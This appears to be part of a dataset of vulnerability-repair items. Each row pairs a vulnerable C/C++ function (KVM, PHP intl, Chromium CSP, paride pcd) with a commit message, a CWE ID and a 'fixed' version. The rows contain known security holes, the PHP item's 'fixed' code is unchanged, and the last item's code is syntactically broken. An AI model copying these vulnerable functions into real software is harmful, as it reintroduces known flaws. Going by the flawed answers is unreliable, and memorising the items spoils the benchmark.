(void) InvokeDynamicImageFilter(token,&(*images),1,&arg,
exception);
}
token=DestroyString(token);
break;
}
(void) SubstituteString(&arguments[1],"-","");
(void) InvokeDynamicImageFilter(arguments[1],&(*images),
number_arguments-2,(const char **) arguments+2,exception);
for (j=0; j < number_arguments; j++)
arguments[j]=DestroyString(arguments[j]);
arguments=(char **) RelinquishMagickMemory(arguments);
break;
}
break;
}
case 'r':
{
if (LocaleCompare("reverse",option+1) == 0)
{
ReverseImageList(images);
break;
}
break;
}
case 's':
{
if (LocaleCompare("smush",option+1) == 0)
{
Image
*smush_image;
ssize_t
offset;
(void) SyncImagesSettings(mogrify_info,*images,exception);
offset=(ssize_t) StringToLong(argv[i+1]);
smush_image=SmushImages(*images,*option == '-' ? MagickTrue :
MagickFalse,offset,exception);
if (smush_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=smush_image;
break;
}
if (LocaleCompare("swap",option+1) == 0)
{
Image
*p,
*q,
*u,
*v;
ssize_t
swap_index;
index=(-1);
swap_index=(-2);
if (*option != '+')
{
GeometryInfo
geometry_info;
MagickStatusType
flags;
swap_index=(-1);
flags=ParseGeometry(argv[i+1],&geometry_info);
index=(ssize_t) geometry_info.rho;
if ((flags & SigmaValue) != 0)
swap_index=(ssize_t) geometry_info.sigma;
}
p=GetImageFromList(*images,index);
q=GetImageFromList(*images,swap_index);
if ((p == (Image *) NULL) || (q == (Image *) NULL))
{
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"NoSuchImage","`%s'",(*images)->filename);
status=MagickFalse;
break;
}
if (p == q)
break;
u=CloneImage(p,0,0,MagickTrue,exception);
if (u == (Image *) NULL)
break;
v=CloneImage(q,0,0,MagickTrue,exception);
if (v == (Image *) NULL)
{
u=DestroyImage(u);
break;
}
ReplaceImageInList(&p,v);
ReplaceImageInList(&q,u);
*images=GetFirstImageInList(q);
break;
}
break;
}
case 'w':
{
if (LocaleCompare("write",option+1) == 0)
{
char
key[MagickPathExtent];
Image
*write_images;
ImageInfo
*write_info;
(void) SyncImagesSettings(mogrify_info,*images,exception);
(void) FormatLocaleString(key,MagickPathExtent,"cache:%s",
argv[i+1]);
(void) DeleteImageRegistry(key);
write_images=(*images);
if (*option == '+')
write_images=CloneImageList(*images,exception);
write_info=CloneImageInfo(mogrify_info);
status&=WriteImages(write_info,write_images,argv[i+1],exception);
write_info=DestroyImageInfo(write_info);
if (*option == '+')
write_images=DestroyImageList(write_images);
break;
}
break;
}
default:
break;
}
i+=count;
}
quantize_info=DestroyQuantizeInfo(quantize_info);
mogrify_info=DestroyImageInfo(mogrify_info);
status&=MogrifyImageInfo(image_info,argc,argv,exception);
return(status != 0 ? MagickTrue : MagickFalse);
}
| 170,197 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int kvm_ioctl_create_device(struct kvm *kvm,
struct kvm_create_device *cd)
{
struct kvm_device_ops *ops = NULL;
struct kvm_device *dev;
bool test = cd->flags & KVM_CREATE_DEVICE_TEST;
int ret;
if (cd->type >= ARRAY_SIZE(kvm_device_ops_table))
return -ENODEV;
ops = kvm_device_ops_table[cd->type];
if (ops == NULL)
return -ENODEV;
if (test)
return 0;
dev = kzalloc(sizeof(*dev), GFP_KERNEL);
if (!dev)
return -ENOMEM;
dev->ops = ops;
dev->kvm = kvm;
mutex_lock(&kvm->lock);
ret = ops->create(dev, cd->type);
if (ret < 0) {
mutex_unlock(&kvm->lock);
kfree(dev);
return ret;
}
list_add(&dev->vm_node, &kvm->devices);
mutex_unlock(&kvm->lock);
if (ops->init)
ops->init(dev);
ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);
if (ret < 0) {
mutex_lock(&kvm->lock);
list_del(&dev->vm_node);
mutex_unlock(&kvm->lock);
ops->destroy(dev);
return ret;
}
kvm_get_kvm(kvm);
cd->fd = ret;
return 0;
}
Commit Message: kvm: fix kvm_ioctl_create_device() reference counting (CVE-2019-6974)
kvm_ioctl_create_device() does the following:
1. creates a device that holds a reference to the VM object (with a borrowed
reference, the VM's refcount has not been bumped yet)
2. initializes the device
3. transfers the reference to the device to the caller's file descriptor table
4. calls kvm_get_kvm() to turn the borrowed reference to the VM into a real
reference
The ownership transfer in step 3 must not happen before the reference to the VM
becomes a proper, non-borrowed reference, which only happens in step 4.
After step 3, an attacker can close the file descriptor and drop the borrowed
reference, which can cause the refcount of the kvm object to drop to zero.
This means that we need to grab a reference for the device before
anon_inode_getfd(), otherwise the VM can disappear from under us.
Fixes: 852b6d57dc7f ("kvm: add device control API")
Cc: [email protected]
Signed-off-by: Jann Horn <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]>
CWE ID: CWE-362 | static int kvm_ioctl_create_device(struct kvm *kvm,
struct kvm_create_device *cd)
{
struct kvm_device_ops *ops = NULL;
struct kvm_device *dev;
bool test = cd->flags & KVM_CREATE_DEVICE_TEST;
int ret;
if (cd->type >= ARRAY_SIZE(kvm_device_ops_table))
return -ENODEV;
ops = kvm_device_ops_table[cd->type];
if (ops == NULL)
return -ENODEV;
if (test)
return 0;
dev = kzalloc(sizeof(*dev), GFP_KERNEL);
if (!dev)
return -ENOMEM;
dev->ops = ops;
dev->kvm = kvm;
mutex_lock(&kvm->lock);
ret = ops->create(dev, cd->type);
if (ret < 0) {
mutex_unlock(&kvm->lock);
kfree(dev);
return ret;
}
list_add(&dev->vm_node, &kvm->devices);
mutex_unlock(&kvm->lock);
if (ops->init)
ops->init(dev);
kvm_get_kvm(kvm);
ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);
if (ret < 0) {
kvm_put_kvm(kvm);
mutex_lock(&kvm->lock);
list_del(&dev->vm_node);
mutex_unlock(&kvm->lock);
ops->destroy(dev);
return ret;
}
cd->fd = ret;
return 0;
}
| 169,741 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: PHP_FUNCTION( locale_get_keywords )
{
UEnumeration* e = NULL;
UErrorCode status = U_ZERO_ERROR;
const char* kw_key = NULL;
int32_t kw_key_len = 0;
const char* loc_name = NULL;
int loc_name_len = 0;
/*
ICU expects the buffer to be allocated before calling the function
and so the buffer size has been explicitly specified
ICU uloc.h #define ULOC_KEYWORD_AND_VALUES_CAPACITY 100
hence the kw_value buffer size is 100
*/
char* kw_value = NULL;
int32_t kw_value_len = 100;
intl_error_reset( NULL TSRMLS_CC );
if(zend_parse_parameters( ZEND_NUM_ARGS() TSRMLS_CC, "s",
&loc_name, &loc_name_len ) == FAILURE)
{
intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
"locale_get_keywords: unable to parse input params", 0 TSRMLS_CC );
RETURN_FALSE;
}
if(loc_name_len == 0) {
loc_name = intl_locale_get_default(TSRMLS_C);
}
/* Get the keywords */
e = uloc_openKeywords( loc_name, &status );
if( e != NULL )
{
/* Traverse it, filling the return array. */
array_init( return_value );
while( ( kw_key = uenum_next( e, &kw_key_len, &status ) ) != NULL ){
kw_value = ecalloc( 1 , kw_value_len );
/* Get the keyword value for each keyword */
kw_value_len=uloc_getKeywordValue( loc_name,kw_key, kw_value, kw_value_len , &status );
if (status == U_BUFFER_OVERFLOW_ERROR) {
status = U_ZERO_ERROR;
kw_value = erealloc( kw_value , kw_value_len+1);
kw_value_len=uloc_getKeywordValue( loc_name,kw_key, kw_value, kw_value_len+1 , &status );
} else if(!U_FAILURE(status)) {
kw_value = erealloc( kw_value , kw_value_len+1);
}
if (U_FAILURE(status)) {
intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, "locale_get_keywords: Error encountered while getting the keyword value for the keyword", 0 TSRMLS_CC );
if( kw_value){
efree( kw_value );
}
zval_dtor(return_value);
RETURN_FALSE;
}
add_assoc_stringl( return_value, (char *)kw_key, kw_value , kw_value_len, 0);
} /* end of while */
} /* end of if e!=NULL */
uenum_close( e );
}
Commit Message: Fix bug #72241: get_icu_value_internal out-of-bounds read
CWE ID: CWE-125 | PHP_FUNCTION( locale_get_keywords )
{
UEnumeration* e = NULL;
UErrorCode status = U_ZERO_ERROR;
const char* kw_key = NULL;
int32_t kw_key_len = 0;
const char* loc_name = NULL;
int loc_name_len = 0;
/*
ICU expects the buffer to be allocated before calling the function
and so the buffer size has been explicitly specified
ICU uloc.h #define ULOC_KEYWORD_AND_VALUES_CAPACITY 100
hence the kw_value buffer size is 100
*/
char* kw_value = NULL;
int32_t kw_value_len = 100;
intl_error_reset( NULL TSRMLS_CC );
if(zend_parse_parameters( ZEND_NUM_ARGS() TSRMLS_CC, "s",
&loc_name, &loc_name_len ) == FAILURE)
{
intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
"locale_get_keywords: unable to parse input params", 0 TSRMLS_CC );
RETURN_FALSE;
}
if(loc_name_len == 0) {
loc_name = intl_locale_get_default(TSRMLS_C);
}
/* Get the keywords */
e = uloc_openKeywords( loc_name, &status );
if( e != NULL )
{
/* Traverse it, filling the return array. */
array_init( return_value );
while( ( kw_key = uenum_next( e, &kw_key_len, &status ) ) != NULL ){
kw_value = ecalloc( 1 , kw_value_len );
/* Get the keyword value for each keyword */
kw_value_len=uloc_getKeywordValue( loc_name,kw_key, kw_value, kw_value_len , &status );
if (status == U_BUFFER_OVERFLOW_ERROR) {
status = U_ZERO_ERROR;
kw_value = erealloc( kw_value , kw_value_len+1);
kw_value_len=uloc_getKeywordValue( loc_name,kw_key, kw_value, kw_value_len+1 , &status );
} else if(!U_FAILURE(status)) {
kw_value = erealloc( kw_value , kw_value_len+1);
}
if (U_FAILURE(status)) {
intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, "locale_get_keywords: Error encountered while getting the keyword value for the keyword", 0 TSRMLS_CC );
if( kw_value){
efree( kw_value );
}
zval_dtor(return_value);
RETURN_FALSE;
}
add_assoc_stringl( return_value, (char *)kw_key, kw_value , kw_value_len, 0);
} /* end of while */
} /* end of if e!=NULL */
uenum_close( e );
}
| 167,190 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void gatherSecurityPolicyViolationEventData(
SecurityPolicyViolationEventInit& init,
ExecutionContext* context,
const String& directiveText,
const ContentSecurityPolicy::DirectiveType& effectiveType,
const KURL& blockedURL,
const String& header,
RedirectStatus redirectStatus,
ContentSecurityPolicyHeaderType headerType,
ContentSecurityPolicy::ViolationType violationType,
int contextLine,
const String& scriptSource) {
if (effectiveType == ContentSecurityPolicy::DirectiveType::FrameAncestors) {
init.setDocumentURI(blockedURL.getString());
init.setBlockedURI(blockedURL.getString());
} else {
init.setDocumentURI(context->url().getString());
switch (violationType) {
case ContentSecurityPolicy::InlineViolation:
init.setBlockedURI("inline");
break;
case ContentSecurityPolicy::EvalViolation:
init.setBlockedURI("eval");
break;
case ContentSecurityPolicy::URLViolation:
init.setBlockedURI(stripURLForUseInReport(
context, blockedURL, redirectStatus, effectiveType));
break;
}
}
String effectiveDirective =
ContentSecurityPolicy::getDirectiveName(effectiveType);
init.setViolatedDirective(effectiveDirective);
init.setEffectiveDirective(effectiveDirective);
init.setOriginalPolicy(header);
init.setDisposition(headerType == ContentSecurityPolicyHeaderTypeEnforce
? "enforce"
: "report");
init.setSourceFile(String());
init.setLineNumber(contextLine);
init.setColumnNumber(0);
init.setStatusCode(0);
if (context->isDocument()) {
Document* document = toDocument(context);
DCHECK(document);
init.setReferrer(document->referrer());
if (!SecurityOrigin::isSecure(context->url()) && document->loader())
init.setStatusCode(document->loader()->response().httpStatusCode());
}
std::unique_ptr<SourceLocation> location = SourceLocation::capture(context);
if (location->lineNumber()) {
KURL source = KURL(ParsedURLString, location->url());
init.setSourceFile(
stripURLForUseInReport(context, source, redirectStatus, effectiveType));
init.setLineNumber(location->lineNumber());
init.setColumnNumber(location->columnNumber());
}
if (!scriptSource.isEmpty())
init.setSample(scriptSource.stripWhiteSpace().left(40));
}
Commit Message: CSP: Strip the fragment from reported URLs.
We should have been stripping the fragment from the URL we report for
CSP violations, but we weren't. Now we are, by running the URLs through
`stripURLForUseInReport()`, which implements the stripping algorithm
from CSP2: https://www.w3.org/TR/CSP2/#strip-uri-for-reporting
Eventually, we will migrate more completely to the CSP3 world that
doesn't require such detailed stripping, as it exposes less data to the
reports, but we're not there yet.
BUG=678776
Review-Url: https://codereview.chromium.org/2619783002
Cr-Commit-Position: refs/heads/master@{#458045}
CWE ID: CWE-200 | static void gatherSecurityPolicyViolationEventData(
SecurityPolicyViolationEventInit& init,
ExecutionContext* context,
const String& directiveText,
const ContentSecurityPolicy::DirectiveType& effectiveType,
const KURL& blockedURL,
const String& header,
RedirectStatus redirectStatus,
ContentSecurityPolicyHeaderType headerType,
ContentSecurityPolicy::ViolationType violationType,
int contextLine,
const String& scriptSource) {
if (effectiveType == ContentSecurityPolicy::DirectiveType::FrameAncestors) {
String strippedURL = stripURLForUseInReport(
context, blockedURL, RedirectStatus::NoRedirect,
ContentSecurityPolicy::DirectiveType::DefaultSrc);
init.setDocumentURI(strippedURL);
init.setBlockedURI(strippedURL);
} else {
String strippedURL = stripURLForUseInReport(
context, context->url(), RedirectStatus::NoRedirect,
ContentSecurityPolicy::DirectiveType::DefaultSrc);
init.setDocumentURI(strippedURL);
switch (violationType) {
case ContentSecurityPolicy::InlineViolation:
init.setBlockedURI("inline");
break;
case ContentSecurityPolicy::EvalViolation:
init.setBlockedURI("eval");
break;
case ContentSecurityPolicy::URLViolation:
init.setBlockedURI(stripURLForUseInReport(
context, blockedURL, redirectStatus, effectiveType));
break;
}
}
String effectiveDirective =
ContentSecurityPolicy::getDirectiveName(effectiveType);
init.setViolatedDirective(effectiveDirective);
init.setEffectiveDirective(effectiveDirective);
init.setOriginalPolicy(header);
init.setDisposition(headerType == ContentSecurityPolicyHeaderTypeEnforce
? "enforce"
: "report");
init.setSourceFile(String());
init.setLineNumber(contextLine);
init.setColumnNumber(0);
init.setStatusCode(0);
if (context->isDocument()) {
Document* document = toDocument(context);
DCHECK(document);
init.setReferrer(document->referrer());
if (!SecurityOrigin::isSecure(context->url()) && document->loader())
init.setStatusCode(document->loader()->response().httpStatusCode());
}
std::unique_ptr<SourceLocation> location = SourceLocation::capture(context);
if (location->lineNumber()) {
KURL source = KURL(ParsedURLString, location->url());
init.setSourceFile(
stripURLForUseInReport(context, source, redirectStatus, effectiveType));
init.setLineNumber(location->lineNumber());
init.setColumnNumber(location->columnNumber());
}
if (!scriptSource.isEmpty())
init.setSample(scriptSource.stripWhiteSpace().left(40));
}
| 172,361 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: PassRefPtr<DocumentFragment> XSLTProcessor::transformToFragment(Node* sourceNode, Document* outputDoc)
{
String resultMIMEType;
String resultString;
String resultEncoding;
if (outputDoc->isHTMLDocument())
resultMIMEType = "text/html";
if (!transformToString(sourceNode, resultMIMEType, resultString, resultEncoding))
return 0;
return createFragmentFromSource(resultString, resultMIMEType, outputDoc);
}
Commit Message: There are too many poorly named functions to create a fragment from markup
https://bugs.webkit.org/show_bug.cgi?id=87339
Reviewed by Eric Seidel.
Source/WebCore:
Moved all functions that create a fragment from markup to markup.h/cpp.
There should be no behavioral change.
* dom/Range.cpp:
(WebCore::Range::createContextualFragment):
* dom/Range.h: Removed createDocumentFragmentForElement.
* dom/ShadowRoot.cpp:
(WebCore::ShadowRoot::setInnerHTML):
* editing/markup.cpp:
(WebCore::createFragmentFromMarkup):
(WebCore::createFragmentForInnerOuterHTML): Renamed from createFragmentFromSource.
(WebCore::createFragmentForTransformToFragment): Moved from XSLTProcessor.
(WebCore::removeElementPreservingChildren): Moved from Range.
(WebCore::createContextualFragment): Ditto.
* editing/markup.h:
* html/HTMLElement.cpp:
(WebCore::HTMLElement::setInnerHTML):
(WebCore::HTMLElement::setOuterHTML):
(WebCore::HTMLElement::insertAdjacentHTML):
* inspector/DOMPatchSupport.cpp:
(WebCore::DOMPatchSupport::patchNode): Added a FIXME since this code should be using
one of the functions listed in markup.h
* xml/XSLTProcessor.cpp:
(WebCore::XSLTProcessor::transformToFragment):
Source/WebKit/qt:
Replace calls to Range::createDocumentFragmentForElement by calls to
createContextualDocumentFragment.
* Api/qwebelement.cpp:
(QWebElement::appendInside):
(QWebElement::prependInside):
(QWebElement::prependOutside):
(QWebElement::appendOutside):
(QWebElement::encloseContentsWith):
(QWebElement::encloseWith):
git-svn-id: svn://svn.chromium.org/blink/trunk@118414 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-264 | PassRefPtr<DocumentFragment> XSLTProcessor::transformToFragment(Node* sourceNode, Document* outputDoc)
{
String resultMIMEType;
String resultString;
String resultEncoding;
if (outputDoc->isHTMLDocument())
resultMIMEType = "text/html";
if (!transformToString(sourceNode, resultMIMEType, resultString, resultEncoding))
return 0;
return createFragmentForTransformToFragment(resultString, resultMIMEType, outputDoc);
}
| 170,445 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int __init pcd_init(void)
{
struct pcd_unit *cd;
int unit;
if (disable)
return -EINVAL;
pcd_init_units();
if (pcd_detect())
return -ENODEV;
/* get the atapi capabilities page */
pcd_probe_capabilities();
if (register_blkdev(major, name)) {
for (unit = 0, cd = pcd; unit < PCD_UNITS; unit++, cd++)
put_disk(cd->disk);
return -EBUSY;
}
for (unit = 0, cd = pcd; unit < PCD_UNITS; unit++, cd++) {
if (cd->present) {
register_cdrom(&cd->info);
cd->disk->private_data = cd;
add_disk(cd->disk);
}
}
return 0;
}
Commit Message: paride/pcd: Fix potential NULL pointer dereference and mem leak
Syzkaller report this:
pcd: pcd version 1.07, major 46, nice 0
pcd0: Autoprobe failed
pcd: No CD-ROM drive found
kasan: CONFIG_KASAN_INLINE enabled
kasan: GPF could be caused by NULL-ptr deref or user memory access
general protection fault: 0000 [#1] SMP KASAN PTI
CPU: 1 PID: 4525 Comm: syz-executor.0 Not tainted 5.1.0-rc3+ #8
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
RIP: 0010:pcd_init+0x95c/0x1000 [pcd]
Code: c4 ab f7 48 89 d8 48 c1 e8 03 80 3c 28 00 74 08 48 89 df e8 56 a3 da f7 4c 8b 23 49 8d bc 24 80 05 00 00 48 89 f8 48 c1 e8 03 <80> 3c 28 00 74 05 e8 39 a3 da f7 49 8b bc 24 80 05 00 00 e8 cc b2
RSP: 0018:ffff8881e84df880 EFLAGS: 00010202
RAX: 00000000000000b0 RBX: ffffffffc155a088 RCX: ffffffffc1508935
RDX: 0000000000040000 RSI: ffffc900014f0000 RDI: 0000000000000580
RBP: dffffc0000000000 R08: ffffed103ee658b8 R09: ffffed103ee658b8
R10: 0000000000000001 R11: ffffed103ee658b7 R12: 0000000000000000
R13: ffffffffc155a778 R14: ffffffffc155a4a8 R15: 0000000000000003
FS: 00007fe71bee3700(0000) GS:ffff8881f7300000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000055a7334441a8 CR3: 00000001e9674003 CR4: 00000000007606e0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
? 0xffffffffc1508000
? 0xffffffffc1508000
do_one_initcall+0xbc/0x47d init/main.c:901
do_init_module+0x1b5/0x547 kernel/module.c:3456
load_module+0x6405/0x8c10 kernel/module.c:3804
__do_sys_finit_module+0x162/0x190 kernel/module.c:3898
do_syscall_64+0x9f/0x450 arch/x86/entry/common.c:290
entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x462e99
Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fe71bee2c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99
RDX: 0000000000000000 RSI: 0000000020000180 RDI: 0000000000000003
RBP: 00007fe71bee2c70 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fe71bee36bc
R13: 00000000004bcefa R14: 00000000006f6fb0 R15: 0000000000000004
Modules linked in: pcd(+) paride solos_pci atm ts_fsm rtc_mt6397 mac80211 nhc_mobility nhc_udp nhc_ipv6 nhc_hop nhc_dest nhc_fragment nhc_routing 6lowpan rtc_cros_ec memconsole intel_xhci_usb_role_switch roles rtc_wm8350 usbcore industrialio_triggered_buffer kfifo_buf industrialio asc7621 dm_era dm_persistent_data dm_bufio dm_mod tpm gnss_ubx gnss_serial serdev gnss max2165 cpufreq_dt hid_penmount hid menf21bmc_wdt rc_core n_tracesink ide_gd_mod cdns_csi2tx v4l2_fwnode videodev media pinctrl_lewisburg pinctrl_intel iptable_security iptable_raw iptable_mangle iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun joydev mousedev ppdev kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd
ide_pci_generic piix input_leds cryptd glue_helper psmouse ide_core intel_agp serio_raw intel_gtt ata_generic i2c_piix4 agpgart pata_acpi parport_pc parport floppy rtc_cmos sch_fq_codel ip_tables x_tables sha1_ssse3 sha1_generic ipv6 [last unloaded: bmc150_magn]
Dumping ftrace buffer:
(ftrace buffer empty)
---[ end trace d873691c3cd69f56 ]---
If alloc_disk fails in pcd_init_units, cd->disk will be
NULL, however in pcd_detect and pcd_exit, it's not check
this before free.It may result a NULL pointer dereference.
Also when register_blkdev failed, blk_cleanup_queue() and
blk_mq_free_tag_set() should be called to free resources.
Reported-by: Hulk Robot <[email protected]>
Fixes: 81b74ac68c28 ("paride/pcd: cleanup queues when detection fails")
Signed-off-by: YueHaibing <[email protected]>
Signed-off-by: Jens Axboe <[email protected]>
CWE ID: CWE-476 | static int __init pcd_init(void)
{
struct pcd_unit *cd;
int unit;
if (disable)
return -EINVAL;
pcd_init_units();
if (pcd_detect())
return -ENODEV;
/* get the atapi capabilities page */
pcd_probe_capabilities();
if (register_blkdev(major, name)) {
for (unit = 0, cd = pcd; unit < PCD_UNITS; unit++, cd++) {
if (!cd->disk)
continue;
blk_cleanup_queue(cd->disk->queue);
blk_mq_free_tag_set(&cd->tag_set);
put_disk(cd->disk);
}
return -EBUSY;
}
for (unit = 0, cd = pcd; unit < PCD_UNITS; unit++, cd++) {
if (cd->present) {
register_cdrom(&cd->info);
cd->disk->private_data = cd;
add_disk(cd->disk);
}
}
return 0;
}
| 169,519 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void HTMLFormElement::scheduleFormSubmission(FormSubmission* submission) {
DCHECK(submission->method() == FormSubmission::PostMethod ||
submission->method() == FormSubmission::GetMethod);
DCHECK(submission->data());
DCHECK(submission->form());
if (submission->action().isEmpty())
return;
if (document().isSandboxed(SandboxForms)) {
document().addConsoleMessage(ConsoleMessage::create(
SecurityMessageSource, ErrorMessageLevel,
"Blocked form submission to '" + submission->action().elidedString() +
"' because the form's frame is sandboxed and the 'allow-forms' "
"permission is not set."));
return;
}
if (protocolIsJavaScript(submission->action())) {
if (!document().contentSecurityPolicy()->allowFormAction(
submission->action()))
return;
document().frame()->script().executeScriptIfJavaScriptURL(
submission->action(), this);
return;
}
Frame* targetFrame = document().frame()->findFrameForNavigation(
submission->target(), *document().frame());
if (!targetFrame) {
if (!LocalDOMWindow::allowPopUp(*document().frame()) &&
!UserGestureIndicator::utilizeUserGesture())
return;
targetFrame = document().frame();
} else {
submission->clearTarget();
}
if (!targetFrame->host())
return;
UseCounter::count(document(), UseCounter::FormsSubmitted);
if (MixedContentChecker::isMixedFormAction(document().frame(),
submission->action()))
UseCounter::count(document().frame(),
UseCounter::MixedContentFormsSubmitted);
if (targetFrame->isLocalFrame()) {
toLocalFrame(targetFrame)
->navigationScheduler()
.scheduleFormSubmission(&document(), submission);
} else {
FrameLoadRequest frameLoadRequest =
submission->createFrameLoadRequest(&document());
toRemoteFrame(targetFrame)->navigate(frameLoadRequest);
}
}
Commit Message: Enforce form-action CSP even when form.target is present.
BUG=630332
Review-Url: https://codereview.chromium.org/2464123004
Cr-Commit-Position: refs/heads/master@{#429922}
CWE ID: CWE-19 | void HTMLFormElement::scheduleFormSubmission(FormSubmission* submission) {
DCHECK(submission->method() == FormSubmission::PostMethod ||
submission->method() == FormSubmission::GetMethod);
DCHECK(submission->data());
DCHECK(submission->form());
if (submission->action().isEmpty())
return;
if (document().isSandboxed(SandboxForms)) {
document().addConsoleMessage(ConsoleMessage::create(
SecurityMessageSource, ErrorMessageLevel,
"Blocked form submission to '" + submission->action().elidedString() +
"' because the form's frame is sandboxed and the 'allow-forms' "
"permission is not set."));
return;
}
if (!document().contentSecurityPolicy()->allowFormAction(
submission->action())) {
return;
}
if (protocolIsJavaScript(submission->action())) {
document().frame()->script().executeScriptIfJavaScriptURL(
submission->action(), this);
return;
}
Frame* targetFrame = document().frame()->findFrameForNavigation(
submission->target(), *document().frame());
if (!targetFrame) {
if (!LocalDOMWindow::allowPopUp(*document().frame()) &&
!UserGestureIndicator::utilizeUserGesture())
return;
targetFrame = document().frame();
} else {
submission->clearTarget();
}
if (!targetFrame->host())
return;
UseCounter::count(document(), UseCounter::FormsSubmitted);
if (MixedContentChecker::isMixedFormAction(document().frame(),
submission->action()))
UseCounter::count(document().frame(),
UseCounter::MixedContentFormsSubmitted);
if (targetFrame->isLocalFrame()) {
toLocalFrame(targetFrame)
->navigationScheduler()
.scheduleFormSubmission(&document(), submission);
} else {
FrameLoadRequest frameLoadRequest =
submission->createFrameLoadRequest(&document());
toRemoteFrame(targetFrame)->navigate(frameLoadRequest);
}
}
| 172,545 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void DownloadItemImpl::OnDownloadCompleting(DownloadFileManager* file_manager) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
VLOG(20) << __FUNCTION__ << "()"
<< " needs rename = " << NeedsRename()
<< " " << DebugString(true);
DCHECK(!GetTargetName().empty());
DCHECK_NE(DANGEROUS, GetSafetyState());
DCHECK(file_manager);
bool should_overwrite =
(GetTargetDisposition() != DownloadItem::TARGET_DISPOSITION_UNIQUIFY);
DownloadFileManager::RenameCompletionCallback callback =
base::Bind(&DownloadItemImpl::OnDownloadRenamedToFinalName,
weak_ptr_factory_.GetWeakPtr(),
base::Unretained(file_manager));
BrowserThread::PostTask(
BrowserThread::FILE, FROM_HERE,
base::Bind(&DownloadFileManager::RenameCompletingDownloadFile,
file_manager, GetGlobalId(), GetTargetFilePath(),
should_overwrite, callback));
} else {
Completed();
BrowserThread::PostTask(
BrowserThread::FILE, FROM_HERE,
base::Bind(&DownloadFileManager::CompleteDownload,
file_manager, download_id_));
}
}
Commit Message: Refactors to simplify rename pathway in DownloadFileManager.
This is https://chromiumcodereview.appspot.com/10668004 / r144817 (reverted
due to CrOS failure) with the completion logic moved to after the
auto-opening. The tests that test the auto-opening (for web store install)
were waiting for download completion to check install, and hence were
failing when completion was moved earlier.
Doing this right would probably require another state (OPENED).
BUG=123998
BUG-134930
[email protected]
Review URL: https://chromiumcodereview.appspot.com/10701040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145157 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | void DownloadItemImpl::OnDownloadCompleting(DownloadFileManager* file_manager) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
VLOG(20) << __FUNCTION__ << "()"
<< " needs rename = " << NeedsRename()
<< " " << DebugString(true);
DCHECK(!GetTargetName().empty());
DCHECK_NE(DANGEROUS, GetSafetyState());
DCHECK(file_manager);
// Rename the Download file and call back to OnDownloadRenamedToFinalName.
bool should_overwrite =
(GetTargetDisposition() != DownloadItem::TARGET_DISPOSITION_UNIQUIFY);
DownloadFileManager::RenameCompletionCallback callback =
base::Bind(&DownloadItemImpl::OnDownloadRenamedToFinalName,
weak_ptr_factory_.GetWeakPtr(),
base::Unretained(file_manager));
BrowserThread::PostTask(
BrowserThread::FILE, FROM_HERE,
base::Bind(&DownloadFileManager::RenameDownloadFile,
file_manager, GetGlobalId(), GetTargetFilePath(),
should_overwrite, callback));
} else {
// Complete the download and release the DownloadFile.
BrowserThread::PostTask(
BrowserThread::FILE, FROM_HERE,
base::Bind(&DownloadFileManager::CompleteDownload,
file_manager, GetGlobalId(),
base::Bind(&DownloadItemImpl::OnDownloadFileReleased,
weak_ptr_factory_.GetWeakPtr())));
}
}
| 170,882 |
